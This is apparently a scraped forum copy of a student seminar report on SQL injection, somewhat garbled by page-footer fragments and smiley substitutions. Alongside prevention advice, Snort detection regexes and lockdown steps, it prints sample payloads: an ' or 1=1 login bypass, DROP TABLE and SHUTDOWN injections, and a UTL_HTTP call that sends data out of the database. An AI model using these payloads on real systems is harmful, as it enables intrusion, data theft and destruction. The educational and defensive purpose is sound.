    SQL can perform:Execute queries against database.Retrieve data from the database.Insert new record in database.Delete a record from database.Update records in the database.

    SQL QUERIES:-SQL supports same major keywords in a similar manner such as (SELECT, UPDATE, DELETE, INSERT, WHERE and others).With SQL, we can query a database and have result set returned.Using a query as this:-SELECT lastnameFROM usersWHERE userid=1; Will retrieve the lastname of from user table where id is 1.

    WHAT IS SQL INJECTIONHOW COMMON IT ISIt is probably the most common Website vulnerability today!It is a flaw in "web application" development,it is not a DB or web server problem

    Most programmers are still not aware of this problemA lot of the tutorials & demo templates are vulnerableEven worse, a lot of solutions posted on the Internet are not good enough

    VULNERABLE APPLICATIONWhen the end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation.The string input is usually passed directly to the SQL statement.Because of the stateless nature of many web applications, it is common to writedata to the database or store it using some other means between web pages.This indirect type of attack is much more complex and often requires in-depth kn

    owledge of the application.

    NOT VULNERABLESQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way.PL/SQL and JDBC allow for bind variables.Bind variables should be extensively used for both security and performance reasons.

    SQL INJECTION CHARACTER' or " character String Indicators-- or # single-line comment/**/ multiple-line comment+ addition, concatenate (or space in url)|| (double pipe) concatenate% wildcard attribute indicatorParam1=foo&Param2=bar URL Parameters

  • 8/12/2019 sql_injctions loop joks

    20/35

    PRINT useful as non transactional command@variable local variable@@variable global variablewaitfor delay '0:0:10' time delayPOWER OF In a SQL statement the user filled fields are enclosed by single quotation marks(').A simple test would be to try using (') as the username.The following error message will be displayed when a (') is entered into a formthat is vulnerable to SQL injection:WARNING:-Input validation attacks occur here on a website.If this error is displayed then SQL injectiontechniques can be tried.

    USE OF %(WILDCARD ATTRIBUTE)ORACLE provide us % for finding the information related to a particular field.The attacker makes use of this to guess the username of an account by querying for similar user names (ex: ad% is used to query for admin).The attacker can insert data by appending commands orwriting queries.Also there are several extended stored procedures which can make direct calls tothe operating systems and can cause permanent damage to the system.

    HOW DOES SQL INJECTION WORKS Common vulnerable login querySELECT * FROM usersWHERE login = 'victor'AND password = '123'(If it returns something then login!) ASP/MS SQL Server login syntaxvar sql = "SELECT * FROM usersWHERE login = '" + formusr +"' AND password = '" + formpwd + "'";

    INJECTING THROUGH STRINGS

    WEB APPLICATION FORMformusr = ' or 1=1 formpwd = anythingFinal query would look like this:SELECT * FROM usersWHERE username = ' ' or 1=1 AND password = 'anything'

    SIMPLE ATTACKSProduct Search:This input is put directly into the SQL statement within the Web application:$query = SELECT prodinfo FROM prodtable WHERE prodname = . $_POST[prod_search] . ;Creates the following SQL:SELECT prodinfo FROM prodtable WHERE prodname = blah OR x = xAttacker has now successfully caused the entire database to be returned.

  • 8/12/2019 sql_injctions loop joks

    21/35

    MOST MALICIOUS ATTACKWhat if the attacker had instead entered:blah; DROP TABLE prodinfo; --Results in the following SQL:SELECT prodinfo FROM prodtable WHERE prodname = blah; DROP TABLE prodinfo; --Note how comment (--) consumes the final quoteCauses the entire database to be deletedDepends on knowledge of table nameThis is sometimes exposed to the user in debug code called during a database error.Use non-obvious table names, and never expose them to user

    DANGEROUS ATTACKOne of SQL Server's most powerful commands is:SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.Username: ' ; shutdown with nowait; --Password: [Anything]This can happen if the script runs the following query:

    select userName from users where

    userName='; shutdown with nowait;-' anduser_Pass=' '

    CATEGORIES OF SQL INJECTIONThere are four main categories of SQL Injection attacks against Oracle databasesSQL Manipulation.

    Code Injection.Function Call Injection

    Buffer OverflowsSQL MANIPULATION.MODIFYING OF SQL STATEMENT USING SET OPERATIONS LIKE UNION, INTERSECT,MINUS ETC.DURING LOGGING AUTHENTICATIONSELECT * FROM users WHERE username=bob and PASSWORD=mypassword.THE ATTACKER ATTEMPTS TO MANIPULATE SQL STATEMENT WILL EXECUTE.SELECT * FROM users WHERE username=bob and PASSWORD=mypassword OR a=a.

    CODE INJECTIONCode injection attacks attempt to add additional SQL statements or commands to t

    he existing SQL statement.This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database.

    ERROR RESULTING QUERY:SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';

  • 8/12/2019 sql_injctions loop joks

    22/35

    The following is an example of a PL/SQL block executed in a web application BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;The above example PL/SQL block executes an application stored procedure that encrypts and saves the users password. An attacker will attempt to manipulate the PL/SQL block to execute as BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;

    FUNCTION CALL INJECTIONFunction call injection is the insertion of Oracle database functions or customfunctions into a vulnerable SQL statement.These function calls can be used to make operating system calls or manipulate data in the database.Functions executed as part of a SQL SELECT statement cannot make any changes tothe database unless the function is marked as PRAGMA TRANSACTION.

    BUFFER OVERFLOWA number of standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched datab

    ase.Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ,NUMTOYMINTERVAL, and NUMTODSINTERVAL.

    SQL INJECTION TESTINGITS NECESSARY TO CHECK FOR SQL INJECETION.UNLESS WE DONT GO FOR TEST WE WILL NOT BE ABLE TO PREVENT THE ATTACKS.PREVENTION TECHNIQUESThe various techniques used to prevent SQL injections are:-Parameterized query

    Stored procedureRegular expression to discard input stringQuote block functionDont show detailed error messages to the user.Have a less privileged user/role of your application in database.Automated SQL Injection ToolsWpoison is a tool that find any strings potentially SQL Injection vulnerabilities in dynamic web documents.Mieliekoek.pl is an SQL Injection crawler that will test all forms on a websitefor possible SQL injection problems.

    ADVANTAGESSQL INJECTION ATTACKS CAN BE HELPFUL FOR DEVELOPING APPLICATION WHICH IS NOT VULNERABLE TO THESE ATTACKS.MANY PREVENTION TECHNIQUES ARE AVAILABLE FOR SQL INJECTION ATTACKS.SECURITY TERM CAN BE IMPLEMENTED.DISADVANTAGESNO SYSTEM IS SECURED FROM SQL INJECTION.THOUGH, THERE ARE MANY METHODS OF SQL INJECTION PREVENTION, NOT A SINGLE METHODIS 100% FOOLPROOF.CONFIDENTIAL INFORMATION CAN ALSO BE RETRIEVED BY USING A LOT OF INFORMATION.

  • 8/12/2019 sql_injctions loop joks

    23/35

    APPLICATIONSIT IS USED IN OWASP (OPEN WEB APPLICATION SECURITY PROJECT).ALSO IT IS USED IN GREENSQL FIREWALL

    CONCLUSIONSQL Injection is a fascinating and dangerous vulnerability.All programming languages and all SQL databases are potentially vulnerable.Protecting against it requiresstrong designcorrect input validationhardeningThis article is to make aware the people who are anyways related to database maintenance say DBA, Site owner, Computer science students involving in projects related to database and to general people who are launching their sites on internet.Through this article one can know that what are the breaches that can be securedeither code or protection security like firewalls.

    REFERENCESBOOKSSQL Injection Defenses First Edition, by Martin Nystrom, release, date March 2007.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.WEB SITESSQL Injection http://www.spidynamics.com/papers/SQLInj...ePaper.pdf2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced...ection.pdf4. Detection techniques http://www.securiteam.com//papers/detection-techniques

    ANY QUESTIONSFind all posts by this userfind Quote this message in a replyQuote Quote this postOffline best presentation maker clock01-05-2010, 11:26 PM Post: #5

    Senior Member****581 posts

    [3454]

    CHAPTER 1INTRODUCTION

    There was an era when children grew up reading comic strips but now comic stripshave got some action and has evolved as the animated cartoon films.Similarly, Web sites initially started just to show some static information to the user on plain HTML pages with some graphics and colorful text. Soon the advent of technologies like CGI(Common gateway interface) made it possible to have dynamic features attached to them. Sites were able to query an online database andfulfill requests. With the growing pace of the IT, soon websites got a powerfulshot gun called online transaction. Now sites not only display dynamic data butare also capable of taking the orders from the customers and process them online.

  • 8/12/2019 sql_injctions loop joks

    24/35

    This whole drama of accessing the database had the database accessing API (Application Programming Interface) at its heart. The input given by the end user (visitor) was processed by the back end SQL engine to perform CRUD operations on thedatabase (CRUD - Create, Read, Update, and Delete).SQL injection is a basic attack used either to gain unauthorized access to a database or to retrieve information directly from the database. The basic principles underlying SQL injection are simple and these types of attacks are easy to execute and master. Any program or application may be vulnerable to SQL injection including stored procedures executed with a direct database connection, Oracle Forms applications, web applications, etc.CHAPTER 2SQL INJECTIONSQL Injection is inputting the raw transact SQL Query into an application to perform an unexpected action. Most of the time existing queries are edited to achieve the same results. Transact SQL is easily changed by the placement of a singlecharacter in a chosen spot causing the query to behave in malicious ways. The most commonly used charactersare back tick (`), double dash(--), and the semi colon (Wink all of which have specific meaning in SQL.FIG.NO-1SYMBOLS TABLENumerous SQL injection vulnerabilities have been found in the standard Oracle Database packages such as DBMS_DATAPUMP, DBMS_REGISTRY, and DBMS_METADATA. Web applications are at highest risk to attack since often an attacker can exploit SQLinjection vulnerabilities remotely without any database or application authentic

    ation.Web applications using Oracle as a back-end database are more vulnerable to SQLinjection attacks than most application developers think. Audits have found manyweb applications vulnerable to SQL injection even though well-established coding standards were in place during development of many of these applications.Function-based SQL injection attacks are of most concern, since these attacks donot require knowledge of the application and can be easily automated. Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used.So what exactly can an attacker do with a usurped SQL queryThe attacker can gain unauthorized access to restricted data such as usernames/passwords / email addresses etc. With some more advanced queries and sneakier

    techniques the attacker can potentially bypass the authentication and gain completecontrol over the web application and potentially the web server.This is a hacking method that allows an unauthorized attacker to access a database server. It is facilitated by a common coding blunder: the program accepts data from a client and executes SQL queries without first validating the clients input. The attacker is then freeto extract, modify, add, or delete content from the database. In some circumstances, hemay even penetrate past the database server and into the underlying operating system.Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. If the s

    erver then returns an error message to the client, the attacker will attempt toreverse-engineer portions of theoriginal SQL query using information gained from these error messages. The typicaladministrative safeguard is simply to prohibit the display of database server errormessages. Regrettably, thats not sufficient. Blind SQL injection can still evadetheDatabases.CHAPTER 3

  • 8/12/2019 sql_injctions loop joks

    25/35

    VULNERABILITIESWHATS VULNERABLEAn application is vulnerable to SQL injection for only one reason end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation. The string input is usually passed directly to the SQL statement. However, the user input may be stored in the database and later passedto a dynamic SQL statement, referred to as a second-order SQL injection. Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages. This indirect type of attack is much more complex and often requires in-depth knowledge ofthe application.WHATS NOT VULNERABLESQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reasons.CHECKING FOR VULNERABILITIESThoroughly checking a web application for SQL injection vulnerability takes moreeffort than one might guess. Its nice when you throw a single quote into the first argument of a script and the server returns a nice blank, white screen with nothing but an ODBC erroron it, but such is not always the case.It is very easy to overlook a perfectly vulnerable script if you dont pay attenti

    on todetails. You should always check every parameter of every script on the server.Developers and development teams can be awfully inconsistent. The programmer whodesigned Script A might have had nothing to do with the development of Script B,sowhere one might be immune to SQL injection, the other might be ripe for abuse. In fact,the programmer who worked on Function A in Script A might have nothing to do withFunction B in Script A, so while one parameter in one script might be vulnerable, anothermight not. Even if an entire web application is conceived, designed, coded and tested by

    one programmer, one vulnerable parameter might be overlooked. You never can be sure.Test everything.Testing procedureReplace the argument of each parameter with a single quote and an SQL keyword (such as " WHERE"). Each parameter needs to be tested individually. Not only that,but when testing each parameter, leave all of the other parameters unchanged, with valid data astheir arguments. It can be tempting to simply delete everything youre not workingwithto make things look simpler, particularly with applications that have parameterlines thatgo into many thousands of characters. Leaving out parameters or giving other par

    ametersbad arguments while youre testing another for SQL injection can break the application inother ways that prevent you from determining whether or not SQL injection is possible.For instance, assume that this is a completely valid, unaltered parameter lineContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkistewhile this parameter line gives you an ODBC errorContactName=Maria%20Anders&CompanyName=%20and checking with this line might simply return an error indicating that you nee

  • 8/12/2019 sql_injctions loop joks

    26/35

    d tospecify a ContactName value.CompanyName=This lineContactName=BadContactName&CompanyName=might give you the same page as the request that didnt specify ContactName at all.Or, it might give you the sites default homepage. Or, perhaps when the applicationcouldnt find the specified ContactName, it didnt bother to look at CompanyName, soitdidnt even pass the argument of that parameter into an SQL statement. Or, it might giveyou something completely different. So, when testing for SQL injection, always use thefull parameter line, giving every argument except the one that you are testing alegitimatevalue.FIG NO-2..INPUT VALIDATIONEvaluating ResultsIf the server returns a database error message of some kind, injection was definitelysuccessful. However, the messages arent always obvious. Again, developers do somestrange things, so you should look in every possible place for evidence of successful

    injection. First, search through the entire source of the returned page for phrases such asODBC, SQL Server, Syntax, etc. More details on the nature of the error can be inhidden input, comments, etc. Check the headers. I have seen web applications onproduction systems that return an error message with absolutely no information in thebody of the HTTP response, but that have the database error message in a header.Manyweb applications have these kinds of features built into them for debugging andQApurposes, and then developers forget to remove or disable them before release.You should look not only on the immediately returned page, but also in linked pages.

    During a recent penetration test, I saw a web application that returned a generic errormessage page in response to an SQL injection attack. Clicking on a stop sign image nextto the error retrieved another page giving the full SQL Server error message.Another thing to watch out for is a 302 page redirect. You may be whisked away from thedatabase error message page before you even get a chance to notice it.Note that SQL injection may be successful even if the server returns an ODBC errormessages. Many times the server returns a properly formatted, seemingly genericerrormessage page telling you that there was an internal server error or a problem

    processing your request.FIG.NO-3ERROR PAGESome web applications are designed to return the client to the sites main page whenever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored proceduretechniques.CHAPTER 4

  • 8/12/2019 sql_injctions loop joks

    27/35

  • 8/12/2019 sql_injctions loop joks

    28/35

    However, some programming languages or APIs may allow multiple SQL statements tobe executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an exampleof a PL/SQL block executed in a web application BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;The above example PL/SQL block executes an application stored procedure that encrypts and saves the users password. An attacker will attempt to manipulate the PL/SQL block to execute as BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;4.3. FUNCTION CALL INJECTIONFunction call injection is the insertion of Oracle database functions or customfunctions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a fraction of these functions may be useful in aSQL injection attack. Some of these functions do perform network communication,which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.Functions executed as part of a SQL SELECT statement cannot make any changes tothe database unless the function is marked as PRAGMA TRANSACTION. Very few of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the d

    atabase. Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the databaseserver.Many Oracle-based applications leverage database packages, which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions. The issue with function call injection is that any dynamically generated SQL statement is vulnerable eventhe simplest SQL statements can be effectively exploited. The following exampledemonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATEdatabase function in Java, so the programmer decided to use a SQL statement.SELECT TRANSLATE('user input','0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '012345678

    9') FROM dual;This SQL statement is not vulnerable to other types of injection attacks, but iseasily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be acustom application has the function ADDUSER in the custom package MYAPPADMIN. Th

    e developer marked the function as PRAGMA TRANSACTION, so it could be executed under any special circumstances that the application might encounter. Since it ismarked PRAGMA TRANSACTION, it can write to the database even in a SELECT statement.SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;Executing the above SQL statement, the attacker is able to create new application users.4.4. BUFFER OVERFLOWSA number of standard Oracle database functions are susceptible to buffer overflo

  • 8/12/2019 sql_injctions loop joks

    29/35

    ws, which can be exploited through a SQL injection attack in an un-patched database. Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.FIG NO.6BUFFER OVERFLOWA buffer overflow attack using TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, or NUMTODSINTERVAL is executed using the function injection methods described previously. By exploiting the buffer overflow via a SQL injectionattack, remote access to the operating system can be achieved. Additional information is widely available on executing and preventing buffer overflow attacks.In addition, some application and web servers do not gracefully handle the lossof a database connection due to a buffer overflow. Usually, the web process willhang until the connection to the client is terminated, thus making this potentially an effective denial of service attack.CHAPTER 5MALICIOUS ATTACKSMALICIOUS ATTACKSThe user filled fields are enclosed by single quotation marks('). A simple testwould be to try using (') as the username. The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection:-WARNING:- Input validation attacks occur here on a website.If this error is displayed then SQL injection techniques can be tried. The attackercan try to login without a password. Typical usernames would be 1=1 or any text

    withinsingle quotes.One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causesit to shutdown, immediately stopping the Windows service.Username: ' ; shutdown with nowait; --Password: [Anything]This can happen if the script runs the following query:select userName from users where userName='; shutdown with nowait;-' and user_Pass=' ';There are several extended stored procedures that can cause permanent damage toa system.Input Validation attackCHAPTER 6

    PREVENTION TECHNIQUESResearchers have proposed a wide range of techniques to address the problem of SQL injection. These techniques range from development best practices to fully automated frameworks for detecting and preventing SQL Injection Attacks. In this section, we review these proposed techniques and summarize the advantages and disadvantages associated with each technique. The various techniques used to prevent SQL injections are:-1. Parameterized query.2. Stored procedure.3. Regular expression to discard input string.4. Quote block function.5. Dont show detailed error messages to the user.6. Have a less privileged user/role of your application in database.

    6.1. Parameterized queries with Bound ParametersParameterized queries keep the query and data separate through the use of placeholders known as "bound" parameters.For example in Java, this looks like this:"select * from table where columna= and columnb="The developer must then set values for the two placeholders. Note that using this syntax without actually using the placeholders and setting values provides noprotection against SQL injection.6.2. Parameterized Stored ProcedureThe use of parameterized stored procedures is an effective mechanism to avoid mo

  • 8/12/2019 sql_injctions loop joks

    30/35

    st forms of SQL Injection. In combination with parameterized bound queries, it is very unlikely that SQL injection will occur within your application. However,the use of dynamic code execution features can allow SQL Injection as shown below:create proc VulnerableDynamicSQL(@userName nvarchar(25)) asdeclare @sql nvarchar(255)set @sql = 'select * from users where UserName =+ @userName + 'exec sp_executesql @sqlThe above example still allows SQL Injection as it allows dynamic injection of arbitrary string data. This is also true of Java / PL/SQL and MySQL's stored procedure support.6.2.1. Regular expression to discard input string.An important point to keep in mind while choosing your regular expression(s) fordetecting SQL Injection attacks is that an attacker can inject SQL into input taken from a form, as well as through the fields of a cookie. Your input validation logic should consider each and every type of input that originates from the user -- be it form fields or cookie information -- as suspect. Also if you discover too many alerts coming in from a signature that looks out for a single-quoteor a semi-colon, it just might be that one or more of these characters are validinputs in cookies created by your Web application. Therefore, you will need toevaluate each of these signatures for your particular Web application.As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch out for SQL specific meta-characters such as the single-quote (')

    or the double-dash (--). In order to detect these characters and their hex equivalents, the following regular expression may be used:6.2.2. Regex for detection of SQL meta-characters/(\%27)|(\')|(\-\-)|(\%23)|(#)/ixExplanation:We first detect either the hex equivalent of the single-quote, the single-quoteitself or the presence of the double-dash. These are SQL characters for MS SQL Server and Oracle, which denote the beginning of a comment, and everything that follows is ignored. Additionally, if you're using MySQL, you need to check for presence of the '#' or its hex-equivalent. Note that we do not need to check for the hex-equivalent of the double-dash, because it is not an HTML meta-character and will not be encoded by the browser. Also, if an attacker tries to manually modify the double-dash to its hex value of %2D , the SQL Injection attack fails.

    The above regular expression would be added into a new Snort rule as follows:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5WinkIn this case, the uricontent keyword has the value ".pl", because in our test environment, the CGI scripts are written in Perl. Depending upon your particular application, this value may be either ".php", or ".asp", or ".jsp", etc. From this point onwards, we do not show the corresponding Snort rule, but instead only the regular expressions that are to be used for creating these rules. From the regular expressions you can easily create more Snort rules.In the previous regular expression, we detect the double-dash because there maybe situations where SQL injection is possible even without the single-quote . Take, for instance, an SQL query which has the where clause containing only numeri

    c values.Something like:select value1, value2, num_value3 from databasewhere num_value3=some_user_supplied_numberIn this case, the attacker may execute an additional SQL query, by supplying aninput like:3; insert values into some_other_tableFinally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to ignore whitespaces, respectively.The above signature could be additionally expanded to detect the occurrence of t

  • 8/12/2019 sql_injctions loop joks

    31/35

    he semi-colon as well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In order to reduce the false positives from this, and also from any normal occurrence of the single-quote and double-dash, the above signature could be modified to first detect the occurrence of the = sign. User inputwill usually occur as a GET or a POST request, where the input fields will be reflected as:username=some_user_supplied_value&password=some_user_supplied_valueTherefore, the SQL injection attempt would result in user input being preceded by a = sign or its hex equivalent.6.2.3. Modified regex for detection of SQL meta-characters/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(Wink)/iExplanation:This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero or more non-newline characters, and then it checks for the single-quote, the double-dash or the semi-colon.A typical SQL injection attempt of course revolves around the use of the singlequote to manipulate the original query so that it always results in a true value. Most of the examples that discuss this attack use the string 1'or'1'='1. However, detection of this string can be easily evaded by supplying a value such as 1'or2>1--. Thus the only part that is constant in this is the initial alphanumeric value, followed by a single-quote, and then followed by the word 'or'. The Boolean logic that comes after this may be varied to an extent where a generic pattern is either very complex or does not cover all the variants. Thus these attacks can be detected to a fair degree of accuracy by using the next regular express

    ion, in section 2.3 below.6.2.4. Regex for typical SQL Injection attack/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ixExplanation:\w* - zero or more alphanumeric or underscore characters(\%27)|\' - the ubiquitous single-quote or its hex equivalent(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its upper and lower case hex equivalents.The use of the 'union' SQL query is also common in SQL Injection attacks againsta variety of databases. If the earlier regular expression that just detects thesingle-quote or other SQL meta characters results in too many false positives,you could further modify the query to specifically check for the single-quote and the keyword 'union'. This can also be further extended to other SQL keywords s

    uch as 'select', 'insert', 'update', 'delete', etc.6.2.5. Regex for detecting SQL Injection with the UNION keyword/((\%27)|(\'))union/ix(\%27)|(\') - the single-quote and its hex equivalentunion - the keyword unionSimilar expressions can be written for other SQL queries such as >select, insert, update, delete, drop, and so on.If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL injection, he will try to exploit it. If he realizes that the back-end database is on an MS SQL server, he will typically try to execute one of themany dangerous stored and extended stored procedures. These procedures start with the letters 'sp' or 'xp' respectively. Typically, he would try to execute the'xp_cmdshell' extended procedure, which allows the execution of Windows shell c

    ommands through the SQL Server. The access rights with which these commands willbe executed are those of the account with which SQL Server is running -- usually Local System. Alternatively, he may also try and modify the registry using procedures such as xp_regread, xp_regwrite, etc.6.2.6. Regex for detecting SQL Injection attacks on a MS SQL Server/exec(\s|\+)+(s|x)p\w+/ixExplanation:exec - the keyword required to run the stored or extended procedure(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures resp

  • 8/12/2019 sql_injctions loop joks

    32/35

    ectively\w+ - one or more alphanumeric or underscore characters to complete the name ofthe procedure.CHAPTER 7COUNTERMEASURES7.1 Input ValidationInput validation can be a complex subject. Typically, too little attention is paid to it in a development project, since over enthusiastic validation tends to cause parts of anapplication to break, and the problem of input validation can be difficult to solve. Inputvalidation tends not to add to the functionality of an application, and thus itis generallyoverlooked in the rush to meet imposed deadlines.The following is a brief discussion of input validation, with sample code. Thissamplecode is (of course) not intended to be directly used in applications, but it does illustratethe differing strategies quite well. The different approaches to data validationcan be categorised as follows:1) Attempt to massage data so that it becomes valid2) Reject input that is known to be bad3) Accept only input that is known to be goodSolution (1) has a number of conceptual problems; first, the developer is not ne

    cessarily aware of what constitutes 'bad' data, because new forms of 'bad data'are being discovered all the time. Second, 'massaging' the data can alter its length, which can result inproblems as described above. Finally, there is the problem of second-order effectsinvolving the reuse of data already in the system.Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.Solution (3) is probably the better of the three, but can be harder to implement.Probably the best approach from a security point of view is to combine approaches (2)and (3) - allow only good input, and then search that input for known 'bad' data

    .A good example of the necessity to combine these two approaches is the problem ofhyphenated surnames such as:-Quentin Bassington-BassingtonWe must allow hyphens in our 'good' input, but we are also aware that the charactersequence '--' has significance to SQL server.Another problem occurs when combining the 'massaging' of data with validation ofcharacter sequences - for example, if we apply a 'known bad' filter that detects'--', 'select'and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could

    specify input likeuni'on sel'ect @@version-'-Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.Here is some example validation code.Approach 1 - Escape singe quotesfunction escape( input )input = replace(input, "'", "''")escape = input

  • 8/12/2019 sql_injctions loop joks

    33/35

    end functionApproach 2 - Reject known bad inputfunction validate_string( input )known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )validate_string = truefor i = lbound( known_bad ) to ubound( known_bad )if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) thenvalidate_string = falseexit functionend ifnextend functionApproach 3 - Allow only good inputfunction validatepassword( input )good_password_chars ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"validatepassword = truefor i = 1 to len( input )c = mid( input, i, 1 )if ( InStr( good_password_chars, c ) = 0 ) thenvalidatepassword = falseexit functionend ifnext

    end function.7.2 SQL Server LockdownThe most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do whencreating a SQL Server build:1. Determine methods of connection to the servera. Verify that only the network libraries you're using are enabled, using the 'Networkutility'2. Verify which accounts exista. Create 'low privileged' accounts for use by applicationsb. Remove unnecessary accountsc. Ensure that all accounts have strong passwords; run a password auditing scrip

    t(such as the one provided as an appendix to this paper) against the server on aregular basis3. Verify which objects exista. Many extended stored procedures can be removed safely. If this is done, considerremoving the '.dll' file containing the extended stored procedure code.b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.4. Verify which accounts can access which objectsa. The account that an application uses to access the database should have onlytheminimum permissions necessary to access the objects that it needs to use.

    5. Verify the patch level of the servera. There are several buffer overflow and format string attacks against SQL Server(mostly discovered by the author) as well as several other 'patched' securityissues. It is likely that more exist.6. Verify what will be logged, and what will be done with the logs.Replace direct SQL statements with stored procedures, prepared statements, or ADOcommand Objects.Implements Default Error Handling. This would include using a single error messa

  • 8/12/2019 sql_injctions loop joks

    34/35

    ge forall errorsLock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements throughLock down User Database configuration Specify. users, roles and permissions etc.7.3 Robust network architectureThis design will aid in the defense of any enterprise. The diagramshows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all public facing servers.FIG NO-7ROBUST NETWORK ARCHITECTURE.CHAPTER 8ADVANTAGES AND DISADVANTAGESADVANTAGESINPUT VALIDATION Keeps track of the input to the web application. It does not allow symbol to be used for the string to form a query in an web aplication.SQL SERVER LOCK DOWN Its possible to create low privileged accounts. Avoid access of account by other servers. Removal of unnecessary accounts.DISADVANTAGESINPUT VALIDATION It is very complicated to implement.

    Difficult to solve complex problem caused due to input validation. Its not possible to distinguish between good and bad input.SQL SERVER LOCKDOWN Needs to verify which connection to the server. Verification of each and every account is to be done. Track of objects is needed to maintain which object accesses which account.CHAPTER 9AUTOMATED TOOLS FOR SQL INJECTION ATTACKSSQL Injection is typically performed manually, BUT some tools are available thatwill help automate the process of identifying and exploiting the vulnerability.Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents. SQL error strings are stored in a signature file, making it easier for anyone to add their own signature for a possible SQL Inj

    ection signature for a web application.Wpoison runs on linux and is available at http://wpoison.sourceforeg.netmieliekoek.pl is an SQL Injection insertion crawler that will test all forms ona websitefor possible SQL Insertion problems. This script will take the output of a website mirroring tool as input inspecting every file and determining whether there is a form in the file. The string to be injected can easily be changed in the configuration file. To obtain a copy of the script please see 'http://packetstormsecurity.com/UNIX/security/mieliekoek.pl' please make sure you have a perl environment installed.Here is an example of the output of mieliekoek.pl :$badstring='blah';$badstring='blah' or 1=1 --';

